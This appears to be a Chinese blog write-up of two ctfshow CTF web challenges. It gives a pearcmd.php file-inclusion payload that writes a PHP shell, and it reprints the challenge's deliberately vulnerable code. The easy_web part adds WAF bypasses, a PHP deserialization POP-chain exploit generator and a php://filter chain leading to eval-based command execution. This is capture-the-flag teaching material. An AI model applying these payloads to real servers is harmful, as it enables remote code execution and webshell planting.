ctfshow元旦水友杯 web题解(持续更新中~)

easy_include

有两种方法,一种是session文件包含,一种是pearcmd.php本地文件包含
第一种方法不多说,可以看我博客里的session文件包含部分

第二种方法

payload:
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php

文件包含的参数在POST,但不知道为什么带点也能行

POST: 1=localhost/usr/local/lib/php/pearcmd.php

easy_web

点击查看代码

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

} 

waf1处接收的是$_REQUEST,而$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量,那么就可以同时传参GET和POST即可绕过

waf2处匹配的是"show"字符串,这可以用url编码绕过

preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])处可以在数字前加上加号或者使用C绕过

然后我们需要考虑的是pop链
ctf::__destruct()->show::__call()->Chu0_write::__toString()

接下来直接给出exp

<?php
class ctf{
    public $h1;
    public $h2;
}

class show{
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}

$ctf=new ctf();
$show=new show();
$Chu0_write=new Chu0_write();
$Chu0_write->chu0=&$Chu0_write->chu1;

$ctf->h1=$show;
$c=array('','',$Chu0_write);
$d=array($c);
$ctf->h2=$d;

echo serialize($ctf);

最后我们需要考虑的是这个部分了

点击查看代码
	$content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                } 

name参数的传参存在waf

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
} 

要求name种必须存在一次base64字符串,同时过滤了一些伪协议的内容,很明显这里就是传参php伪协议,同时根据上面的代码可以知道name应该是ctfw

$content中是需要传入ctfw.txt的内容,但是$content中存在一些没用的字符,想要让他们消失,需要知道一个关键点:convert.base64-decode过滤器读文件时会将一些非base64字符给过滤掉后再进行decode,和一些过滤器组合可以用来删除文件内容

因此payload如下:
name=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=ctfw&
chu0==00c=003=00l=00z=00d=00G=00V=00t

<?php
$a='system';
$aa=base64_encode($a);
$aaa=iconv('UTF-8','UTF-16BE',$aa);
$aaaa=quoted_printable_encode($aaa);
echo $aaaa;

若只有base64-decode,原本存在的ctfshowshowshowwww也属于base64字符,因此会对解码造成干扰。但是如果在base64解码之前,经过了utf-16到utf-8的转换,ctfshowshowshowwww无法被base64解析,所以我们的chu0的值则会被正确解析并保留

对于最后的cmd参数,直接传参env就可以获得flag,但是看网上也有其他师傅用show_source()来对flag进行读取

总的payload我就不提供了,好好看文章才能学到东西啊兄弟萌!

posted @ 2024-10-12 18:27  Meteor_Kai  阅读(164)  评论(0)    收藏  举报